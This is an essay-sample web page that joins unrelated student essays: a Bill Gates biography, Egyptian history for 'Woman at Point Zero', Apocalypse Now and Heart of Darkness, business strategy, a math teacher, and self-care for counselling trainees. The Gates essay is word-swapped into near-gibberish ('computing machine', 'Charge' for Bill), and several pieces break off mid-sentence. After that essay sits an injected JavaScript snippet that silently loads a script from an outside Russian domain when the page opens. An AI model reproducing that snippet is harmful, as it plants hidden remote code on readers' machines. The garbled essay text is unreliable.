Bill Gates Essay Research Paper Bill GatesBill free essay sample

Bill Gates Essay, Research Paper Bill Gates Bill Gates was born on October 28, 1955. Gates and his two sisters grew up in Seattle. Their male parent, William H. Gates II, is a Seattle lawyer. His late female parent, Mary Gates, was a school teacher, University of Washington trustee and president of United Way International. Bill Gates came from a really involved background covering with political relations and in the concern industry. So he was reasonably educated in the universe as a immature kid. He besides spent most of his clip reading and larning about Business Industry which is what he liked. Bill went to Lakeside School for 7th class at the age of 12. It was a really rigorous genitalias boys school. At first he seemed uncomfortable but finally he found some friends that had some of the same involvements as in Business and looking at computing machine companies. Most of his instructors seemed intimidnated by him and another group of older schoolmates initiative to calculate out something called Teletype. You would type plans off-line on xanthous paper tape and so set it into the tape reader, so dial up the computing machine and rapidly feed the paper tape and run your plan. There was a nine called Mothers nine that would hold assorted rummage gross revenues and got money to pay for the Teletype and besides fees like utilizing the Teletype. With the Teletype you have to pay for storage, computing machine fee and connexion clip. So he got a batch of experience with computing machines in school. In 1973, Gates enrolled at Harvard University. At Harvard Bill developed the scheduling linguistic communication Basic for the first personal computer. Junior twelvemonth, Gates dropped out of Harvard to give his clip to Microsoft, which began in 1975. Charge had this belief that the personal computing machine would blow up and be in every place. Gates had these thoughts of limitless enlargement and ever making new things. Bill gates vision sing the computer science universe were built around Microsoft and package direction. With Gates leading Microsoft # 8217 ; s end was to progress and better package engineering and to do it easier, more cost effectual for place users. First computing machines ran on Dos. Bill had purposes on making MS-Dos. He figured one twenty-four hours that MS-Dos would replace Dos. Besides Microsoft created Excel, Microsoft Word, Access, ECT. These plans are used by at least 50 % of the PC # 8217 ; s in the universe. gt ; As I said earlier Bill Gates left college to get down in his computing machine hereafter with Microsoft. He has showed his devotedness and had work to them for 25 old ages ( 1975-xxxx ) He now is Chairman and main package designer of Microsoft Corporation, the taking supplier for personal computing machines. So by lodging with the company he is now deserving about $ 6.1 billion dollars. He is besides really difficult working with his occupation. With all the money and yachts and things he doesn # 8217 ; Ts have much clip to utilize them. He now has a married woman, Melinda French, and two childs. The boy # 8217 ; s name is Rory John and the girl # 8217 ; s name is Jennifer Katharine. So with his household and concern he doesn # 8217 ; Ts have much clip for himself. He spends most of his clip in meetings because he still has to at the caput of the category. Most of people bash measure because he has so much money. What they fail to recognize is that he worked for all his money and put in non merely 100 % but more like 200 % . He is non even near to being greedy with his money he has a plan called Bill A ; Melinda Gates Foundation. With this foundation he donates 1000s of dollars if non 1000000s to topographic points like The Global Funds for Children # 8217 ; s Vaccines, the World Health Organization, ECT. That to me is a great thing for person to make. Not merely does he donates to foundations but he besides give out grants for schools. Last twelvemonth the Bill Gates foundation gave $ 1 billion # 8217 ; s towards a Gates millenary scholars plan. This plan is to spread outing entree and chance to higher instruction to those citizens who will assist reflect the frogmans society in which we live. Another topographic point his money go # 8217 ; s is his place. He has a place worth $ 97 million. Last twelvemonth he paid over a million dollars in belongings revenue enhancements. His house is 1.5 estates. Seven sleeping rooms, 24 bathrooms ( includes 10 full baths ) , six kitchens, six hearths. Bill seems to me to be a great cat but if you do some research you # 8217 ; ll see it # 8217 ; s difficult to happen existent stuff on him. There is nevertheless a batch of knock Bill Gates sites. This adult male has done and making all these things I said above and still acquire no regard form a batch of people. That seems to me to be a shame. Well my decision is that Bill Gates is really successful and earned where he is today. He was one of those people that weren # 8217 ; t in front of their clip but at the perfect clip to be where they were. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Woman at Point Zero Summary free essay sample

Egypt had achieved a formal but nominal independence in 1922, under which King Fu’ad I and his son King Faruq ruled with a cabinet and parliament. Britain, however, retained enough influence to oppose cabinets or key politicians and thus dampen the growth of Woman at Point Zero Summary 2 Woman at Point Zero Summary pluralism or effective democracy. The British had occupied Egypt since 1882, ruling it as if it were a colony, though officially it was not. They maintained a military presence there too, to protect their interest in cheap cotton and in revenues from the Suez Canal. Genuine independence and the total withdrawal of foreign forces was a continuous issue in Egypt until the rather surprising 1952 military coup by a group of young army officers, including Gamal Abdul Nasser (also spelled Jamal ‘Abd al? Nasir). The revolution ignited by these officers changed the power structure of Egypt, displacing wealthy property owners as the nation’s most influential political force. When first established under President Muhammad Naguib, however, the new regime did not have preformulated platforms or a theoretical framework for future policies. The rebels shipped the king off to Europe; the elite who remained in Egypt would suffer— if not at first, then later under the new regime’s populist policies. Meanwhile, the peasants and urban poor appreciated the coup, although because of the inadequacy of reforms and policies like the decision to expand industry, their circumstances would be relieved only at the expense of growing debt and dependency for Egypt. Woman at Point Zero Summary 3 Woman at Point Zero Summary In 1953 the military officers banned all political parties and abolished the monarchy. The officers were eliminating potential rivals. Their one? time ally, President Naguib, was stripped of his powers, and Nasser became the voice of Egypt, with ‘Abd al? Hakim ‘Amir in control of the army. Another former ally, the Muslim Brotherhood, a 25? year? old grassroots Islamist party, was repressed by the new regime after a Muslim Brother tried to assassinate Nasser in 1954. Nasser’s government also put down a worker’s strike, and moved against the Communist Party and other leftists. In 1956 Nasser nationalized the Suez Canal in response to the withdrawal of an expected loan from the World Bank that year. The Egyptian masses applauded this seizure of Egypt’s largest source of revenue, which had been controlled by foreign powers since its construction under the local ruler, the khedive Isma‘il, in the nineteenth century. The ensuing war in Suez, known in Egypt as the Tripartite Aggression, saw the Israelis, French, and British jointly attack Egypt to punish Nasser for the seizure. To Egyptians, the war indicated the hostile intentions of the West against their young government. And in fact the attack met with global condemnation. Nasser moved further away from the West by announcing a Czech arms deal in September 1955, and by refusing that same year to sign the Washington? sponsored Baghdad pact (to protect Middle Eastern nations such as Iraq and Turkey from Soviet aggression). He would publicly claim a commitment to neutralism, to independence without reliance on the East or the West. But in fact the need to build up Egypt’s military base and the army’s dominance in politics resulted in Egypt’s purchasing weapons from the Eastern bloc and in Russian military advisors arriving to conduct business in Egypt. Important in this period was Nasser’s enunciation of Arab unity. A short? lived (1958? 61) union of Egypt and Syria resulted in the United Arab Republic, which would ultimately disintegrate. For a while, many in the region embraced this macro? philosophy, and it complicated the gender issue. If Arabs were to share a unified culture, how would it be possible to allow for the variations in attitudes and Woman at Point Zero Summary 4 Woman at Point Zero Summary practices concerning women in different lands? In some Arab societies, arranged marriages or marriages to first cousins were still preferred, strict separation of the sexes was observed, and women’s ability to challenge spousal abuse was extremely limited; in other Arab societies women were moving into the workforce, advancing through education, and challenging some of the legal restrictions imposed on them. After the short? lived experiment in Arab unity came the defeat of the Arab states in the 1967 so? called Six Day War with Israel. Israel’s preemptive strike on June 5, 1967, destroyed much of the Egyptian air force parked on the airfield. Israel emerged victorious not only because of the strike but also, among other factors, because of poor training of Egyptian troops, an inadequate budget, and Nasser’s refusal to withdraw forces from Yemen. The mix led to Israeli victory in the Sinai, and Israeli occupation of the West Bank and the Golan Heights. The loss was enormous. Arab intellectuals termed the 1967 war the nakba—the disaster, a political and cultural crisis, a nadir from which they could descend no further. Suddenly all the slogans in favor of Arab socialism and unity seemed empty, especially the one that promised an eventual reclamation of Palestine. Instead Egypt had experienced a further defeat. There was, however, no vibrant ideology to step into the place of Arab socialism and unity. Woman at Point Zero Summary 5 Woman at Point Zero Summary The decade following Nasser’s death in 1970 brought further disintegration in political and social values. A new economic open? door policy in 1972, the infitah, led to the expulsion of Soviet advisors, and the expectation on the part of international aid agencies that Egypt would pursue more â€Å"rational† economic policies—that is, embark on privatization, or the transformation of public enterprises into private ones. The policy, involving invitations for Western investment in Egypt, troubled many leftists. Their country had for some years followed a path of neutral selfsufficiency. If the public sector were to be gradually privatized, what would happen to the previously proclaimed commitment to the common citizens? El Saadawi forged her resistance to oppression, whether it related to gender, or more Woman at Point Zero Summary 6 Woman at Point Zero Summary broadly to authoritarianism, during these decades. The Egyptian public had been regaled with promises that the demise of the ancient regime, and the withdrawal of the lingering British, would bring a new age. Yet women especially did not experience a newly tolerant, materially plentiful existence. Instead they experienced a competition for resources that repeatedly favored men—father over wife and children, uncle over niece, and male employers over female workers, to name a few examples from the novel. Women in modern Egyptian history. Urban elite women followed a fairly strict code of sexual segregation in the Ottoman Empire of the nineteenth century. In Egypt many upper? class women lived within the boundaries of the harem system, which secluded them from the general male public. Debate stirred here about the need for female education within a modernizing society, about the abuses of polygamy, and about the veiling of women’s faces. A woman’s honor was theoretically the property of her menfolk, so a high value accrued to virginity. Meanwhile, the custom of paying a brideprice, the amount given to a girl’s parents to formalize a union, was sanctioned by religion and custom, which meant that poor women could be â€Å"sold. (Wealthy women had more freedom, because they retained control of their own income. ) Women in the countryside were not subject to the Ottoman face veil or practices of female seclusion because their labor was necessary for family subsistence. If girls survived their early childhood, they were circumcised at age six or seven to weaken their sexual urge and ensure virginity. The painful, unsa nitary practice involved removing all or part of the clitoris, which resulted in medical and psychological complications.

Joseph Conrad The Heart of Darkness

Compare Apocalypse Now to Conrads novella Heart of Darkn essays

Compare Apocalypse Now to Conrads novella Heart of Darkn essays The film Apocalypse Now, directed by Francis Coppola, is loosely based upon Joseph Conrads novella Heart of Darkness in which both works share similar themes and motifs. Both are accounts of Mans journey into his self, and the discoveries to be made there. They are also about Man confronting his fears of failure, insanity, death, and cultural contamination. Symbols such as the river and the boat preside in both as do the key personas of Kurtz and Willard/ Marlow. Francis Coppola skillfully developed the visually beautiful, ground-breaking "Apocalypse Now with the surrealistic and symbolic sequences detailing the confusion, violence, fear, and nightmarish madness of the Vietnam War. The deterioration of the culturally accustomed man in exposure to foreign cultures and savagery play key roles in the way of portraying the human psyche. All America contributed to the making of Colonel Kurtz, just as all Europe produced Mr. Kurtz. What is reflected by the Kurtzs is the threat of loss of self, loss of centrality and the displacement of Western culture from the perceived supreme center of history. The evil side of both Kurtzes was brought out by the fear of new cultures different from their own, and their inability to deal with this fear. This is indicated by the disconnection between the opening words of Kurtzs report By the simple exercise of our will, we can exert a power for good practically unbounded and the closing sentence Exterminate all the brutes. This fear of other cultures is emphasized by the condescending attitude of the Imperialist way. Coppola makes a point to show this with the shocked expression on Captain Willards eyes when whilst on a navy boat armed to the teeth, one of his crew is killed by a spear thrown by a native in the bush. The Americans bombing a Vietnam village just to gain access to a surf beach further develops the ideas o ...

WEEK 3 DISCUSSION Essay Example | Topics and Well Written Essays - 500 words

WEEK 3 DISCUSSION - Essay Example Porter is clear in explaining that because a company is profitable and effective at a given moment; that is not necessarily the benchmark of how a company will perform in the future. Like science’s description of life on Earth, the corporation must continually evolve and become more efficient as it maintains a keen eye on its competitors. Most economists like to use the Japanese as a business model when it comes to efficiency and profitability. True the country’s top businesses seized upon a time period where Western companies seemed to be asleep at the switch. Yet their competition has seized upon strategy and in a sense is beating the country’s businesses at their own game and it appears several decades later that the opposition is winning (Porter). In using the Japanese model, Harvard Business Review points out that in 1970 Komatsu was a tiny bulldozer company hardly known outside Japan and had a minute sales fraction of Caterpillar, the American giant in the industry. Fifteen years later, Komatsu had expanded to a $2.8 billion company with as many product lines as their mammoth opposition. As well, they had expanded into the emerging industrial robotics area (Hamel). Did Caterpillar concern themselves with Komatsu in 1970? It is doubtful but had they done a Strategic Intent analysis at the time, they may not have had such a tremendous slice of profit removed in 1985. In a sense, Albani Perfumes is the current Goliath in its market of Latin America. With current sales of $10 million, it is still a relatively small company but has managed to do well against its current competitors. Yet as discussed in Week 2, China is making headway into the market with knockoff perfumes. It could probably be argued that Albani would not win a trade war with the world’s fastest growing economy and this would be rated at zero, Strong Negative

Math Hero Essay Example | Topics and Well Written Essays - 750 words

Math Hero - Essay Example Math is not left to interpretation but rather is either right or wrong. Furthermore, it is often too easy to become confused by sequences of numbers which ultimately lead to an answer which is also merely a set or group of more numbers. When one who is truly gifted in the area of Mathematics as well as the area of teaching mathematics is able to take arbitrary numbers and problems and turn them into an applied question leading to a specific answer, one can truly be said to be a math hero. This is truly the key to bridging the gap between the vast abyss of numbers and formulas, and the rest of the world as well as the universe. One way in which a math hero may achieve creating an interesting way of making math comprehensive to their students, is through visual aids such as props which are tangible, (eg. A mini composite of our universe, quantities of small objects and so on). It is one thing to count on one’s hand or copy numbers on to a blackboard but it is altogether something else to illustrate to students in a very tangible manner, how numbers and mathematics work. All of the answers to the world in which we live as well as the infinite riddles of the universe, is found in math. As complicated as this sounds, it is still reassuring to know that virtually every answer that we may possibly seek, is available in the proper mathematical application or formula. A math hero may in fact utilize the very data of the universe to help students better understand how to arrive at a quantitative solution. A math hero will also bare in mind that by teaching mathematics effectively to students, they are provid ing those students with endless future possibilities. An example of this is perhaps a student struggling desperately with the concept of algebra. A math hero will take this into consideration by using multiple analogies to convey the concept of the unknown figure is simple the employment of all other information provided within the

Self Care Strategies for Counsellors

Self Care Strategies for Counsellors Byrne et al. (2006) indicates that therapists can be at risk of burnout and impairment if they do not manage their professional stress well. Practicing therapists may exhibit symptoms of burnout and may suffer from symptoms of VT (El-Ghoroury et al., 2012). Graduate students in helping fields are vulnerable to stress because of the multiple demands of graduate school, such as academic assignments, clinical practice, and financial restrictions (Myers et al., 2012). Time and financial constraints have been cited as primary sources of stress among graduate students in training (El-Ghoroury et al., 2012). Student trainees may face the additional responsibilities and time demands of clinical work, supervision, and internship. In addition to aforementioned stressors, other common stressors in this population include performance anxiety, competition, program requirements, lack of experience, and professional relationships (Myers et al., 2012). Myers et al. (2012) indicate that students in t raining have to cope with these stressors and their new roles, while concurrently fostering their skills necessary for providing therapeutic services to clients. Therefore, educators and supervisors need to understand the role of stress among students to provide guidance on effective stress management and self-care (Myers et al., 2012). Without well-established support systems and coping strategies, novice trainees may have difficulties of managing the stress (El-Ghoroury et al., 2012). Forrest et al. (2008) provide an ecological description by indicating systemic factors for trainee impairment, including faculty interactions (micro), institutional (exo) and national (macro) policies, and hierarchical issues (micro). Societal hierarchical dynamics are unconscious and deeply embedded in the training process. Forrest et al. (2008) further indicates the importance of communication (meso) between academic programs and off-campus training sites such as practicum and internship settings. Besides, program structure (exo) may evoke unnecessary stresses for students. Systematic issues of program policy are often ignored while play a powerful role in student impairment. Forrest et al. (2008) comment that the understanding of trainee impairment should cover an individual level (center) and a contextual system level (micro, meso, exo, macro, and chrono). The authors suggest that trainees not meeting minimum standards of professional competence are influenced by peers (micro), t raining supervisors (micro), program policies and structures (exo), accreditation (e.g., CACREP; macro), professional associations (e.g., ACA; macro). In addition to being stressors, financial (micro) and time constraints (micro) may also be important barriers to participation in activities of self-care that may help buffer stress (El-Ghoroury et al., 2012). The existing literature has noted a significant relationship between self-care strategy and stress among therapist trainees (Myers et al., 2012). A wide range of self-care strategies have been found to reduce stress-related symptoms. Self-care strategy is defined as the engagement in behaviors that promote well-being and may include factors such as sleep, exercise, use of social support, emotion regulation strategies, and mindfulness practice (Myers et al., 2012). According to El-Ghoroury et al. (2012), lack of time was the first barrier to using or learning any of these coping strategies. The steadily rising expenses associated with graduate training are also a significant concern for students. Students may need to sacrifice their leisure time for earning a living (e.g., part- time job; micro). Given the significant amount of stress during higher education, elucidating the behavioral and emotional coping strategies by educators (micro) is important for helping them handle stress more effectively. Social support and engaging in activities that promote social support may be considered an aspect of self-care practice (Myers et al., 2012). Social support has negative correlation with stressful, emotional and physical problems (El-Ghoroury et al., 2012). Graduate program support (micro) and family support (micro) have been found to be related to graduate student stress level (Myers et al., 2012). Students reported less stressful events and health problems when perceived more support from their family and friends (Myers et al., 2012). Besides, consistent, trusting, and supportive faculty-student interactions may help students in managing stress. Support from faculty, advising relationships, and training programs are also critical for students to adapt to new professional roles. Global stress and poor advisor support were found to be associated with burnout and career dissatisfaction in therapist trainees. The importance of mentoring relationships (micro) is highlighted in career de velopment, academic functioning and satisfaction, among student trainees. The top three coping strategies reported are the support from friends, family, and classmates, rather than supervisors. Students who have difficult relationships with their advisors tend to have more stress. The quality of the mentoring relationship is associated with students’ professional outcomes. Pack (2013) indicates that on the level of microsystem, support from peer (micro) and agencies (micro) are important as well as the availability of personal therapy (micro). Opportunities to share experiences of working with trauma victims and information about VT needs to be available in all settings (micro). For example, settings should provide peer supervision and training workshops to help therapists ameliorate VT (Pack, 2013). Information on worker rights may assist in supporting therapists to collectively advocate for their work. Pack (2013) further indicates that on the organizational level, health and safety issues should be addressed within setting policy (exo). The risks of engaging potentially traumatic events need to be explained during the recruitment of new employees. Possible cumulative effects of working with trauma clients should be raised with therapists. Pack (2013) suggests that the risks of VT can be reduced if there a setting (micro) provides sufficient support and collaborative approaches for therapists. Settings can inform trainees the views of trauma practitioners about the trauma therapy. An experienced therapist (micro) may be able to mentor trainees or students. Supervisors have a responsibility for ensuring their trainees have access to education about VT. The culture (exo) of the agency could also be the support for ameliorating VT (Pack, 2013). The culture here includes peer support within daily case meetings and non-hierarchical collaborative decision making. Having a culture which s ees VT as a normal part of trauma-related helping would effectively ameliorate VT. The culture can provide sense of security for the therapists while working with traumatized clients (Pack, 2013). This idea suggests that in graduate training program, the culture (exo) and the program (micro) should provide a supportive environment to prevent students from developing VT. Ethnic minority students may face a somewhat different pattern of stressors during graduate training than non-minority students (Myers et al., 2012; El-Ghoroury et al., 2012). These additional stressors include racial discrimination, racial prejudice, the feeling of isolation, and different cultural expectations (macro, chrono), which negatively impacted school experience. Furthermore, minority students who reported the stressors had higher rates of burnout, depressive symptoms, and reduced quality of life (Myers et al., 2012). The authors also indicate that minority students and international graduate students are actually less likely to use counseling services in response to stressors. Racial minority students often experience more academic stress and less social support than students of Euro-American descent, which may be attributable to race-related stress and vulnerability of developing VT (El-Ghoroury et al., 2012). It is important to consider cultural differences when consider ing stress among student trainees. Adams and Riggs (2008) indicate that students with personal trauma history (chrono) are more vulnerable to VT in courses on trauma. At the moments of reexperiencing, students with trauma history described their struggling with coping as avoidance. Students also reported having little control over the experience of VT symptoms. Adams and Riggs (2008) describe these adaptive coping strategies used by students, including suppression, sublimation, and humor. By the end of this course, most students reported developing effective self-care strategies. This finding suggests that although many students with trauma history (chrono) may revisit their own trauma symptoms during trauma courses, the course on trauma (micro) helped students develop successful self-care strategies. Pack (2013) also addresses the importance of personal trauma history, and recommends that agencies should provide personal therapy (micro) for therapists affected by clients’ trauma information due to their own tr auma history. Adams and Riggs (2008) reported that novice clinicians may be more vulnerable to VT. The authors indicate that the level of training and experience working with traumatized patients is related to clinician outcomes. The deficits in trauma-specific training are associated with VT symptoms. Black (2008) indicates that graduate counseling students may have preexisting factors (chrono) in their lives that form a vulnerability to developing VT later in their careers. Therefore, Graduate training programs (micro) should work on preventing students in training from being traumatized or becoming more vulnerable to future VT (Black, 2008). DePrince et al. (2011) indicate that the lack of trauma education at the graduate levels increases the urgency to develop effective training for postgraduate professionals. Training and education practices which support system-wide, culturally responsive practice is important for preventing VT (DePrince et al., 2011). Even if students do not have preexistin g events that might predispose them to VT, teaching a course on trauma may prevent students from becoming overwhelmed in training (Black, 2008). Pack (2013) also recommends that training courses (e.g., practicum and internship) need to alert students to the potential risks of affecting their psychological health due to the trauma-related practice. Resources such as theoretical models fostering recovery are needed to ameliorate VT.